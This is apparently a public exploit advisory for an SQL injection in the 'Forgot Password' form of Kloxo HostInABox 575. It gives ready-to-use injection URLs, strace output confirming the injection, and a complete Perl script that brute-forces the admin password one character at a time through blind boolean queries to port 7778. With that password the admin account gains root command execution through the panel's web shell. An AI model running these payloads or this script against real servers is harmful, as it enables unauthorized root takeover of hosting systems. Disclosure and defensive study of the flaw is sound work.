Kloxo HostInABox 575 - sql injection in the "Forgot Password" form



DESCRIPTION


Remote, unauthenticated persons that know the username and corresponding contactemail (as stored in the kloxo db) of any user on the box can brute force the base64 encoded admin user password via sql injection.



IMPACT


Obtaining the admin user password allows anyone to log into kloxo and execute commands as root via the web based command shell feature.


You can use any username and email address for the following - real or otherwise - and the select statement will still be executed. Note that the output is not displayed back to the user's client:

http://x.x.x.x:7778/login/index.php?frm_clientname=x' union select now()/*&frm_email=example@example.com&forgot=Send&frm_forgotpwd=2


You can verify this works by using strace. Note the "2009-06-03 18:54:30" in the query result:

7171  read(6, "\3select contactemail from client where nname = 'x' union select now()/*';", 73) = 73

7171  write(6, "\1\0\0\1\1.\0\0\2\3def\0\0\0\fcontactemail\fcontactemail\f\10\0\377\0\0\0\375
\0\0\0\0\0\5\0\0\3\376\0\0\2\0\24\0\0\4\0232009-06-03 18:54:30\5\0\0\5\376\0\0\2\0", 97) = 97


However, if you do know a valid username and contactemail (as stored in the kloxo db), then you can remotely recover the base64 encoded kloxo login password for the admin user via brute force. Once logged in as "admin", the web based command shell can be used to execute commands, which are run as root.


/login/index.php?frm_clientname=$username' and ascii(substring((select realpass from client limit 1),$position,1))>$num/*
&frm_email=$email&forgot=Send&frm_forgotpwd=2


Note that this was originally posted with an extra single quote by mistake, which would not allow this attack to work. This has been corrected above. Also, this isn't rated as "critical" due to the fact that an attacker still needs to know 2 pieces of information in order to take advantage of this issue.


#!/usr/bin/perl

###############################################################################
#
#  Example:
#
#    [user@host ~]$ ./kloxo_get_admin_realpass.pl 1 96
#    P: 1 Y: 96 C: `
#    [user@host ~]$ ./kloxo_get_admin_realpass.pl 1 97
#    P: 1 Y: 97 C: a
#    [user@host ~]$ ./kloxo_get_admin_realpass.pl 1 98
#    P: 1 N: 98 C: b
#
#  The first character of the password is: b
#
#
#  Output:
#
#    P: 1 Y: 90 C: Z
#
#    P = position 1 (first character of the password)
#    Y = Yes, the ascii value of position P in the password is greater than 90
#    C = the ascii value of the currently guessed decimal value (90)
#
###############################################################################

use strict;
use warnings;
use IO::Socket::INET;

die "Usage: $0 <position> <decimal>\n" if @ARGV ne 2;

my $username = '';
my $email    = '';
my $host     = '';

my $position = $ARGV[0] + 7; # skip the first 7 chars which are: __lxen:
my $num      = $ARGV[1];
my $dec2asc  = pack('C' x length($num), $num);
my $banana;

my $request = "GET /login/index.php?frm_clientname=$username";
$request   .= "%27%20and%20ascii(substring((select%20realpass%20from%20client%20limit%201),$position,1))>$num/*";
$request   .= "&frm_email=$email&forgot=Send&frm_forgotpwd=2 HTTP/1.0\r\n\r\n";

my $sock = IO::Socket::INET->new(
    PeerAddr => $host,
    PeerPort => '7778',
    Proto    => 'tcp',
    Timeout  => '3',
) or die "could not connect\n";

print $sock $request;
read $sock, my $buffer, 200;
close $sock;

( $buffer =~ /password_sent/ ) ? ( $banana = 'Y' ) : ( $banana = 'N' );

print "\e[31mP\e[0m: " . ( $position - 7 ) . " \e[31m$banana\e[0m: $num " . "\e[31mC\e[0m: $dec2asc\n";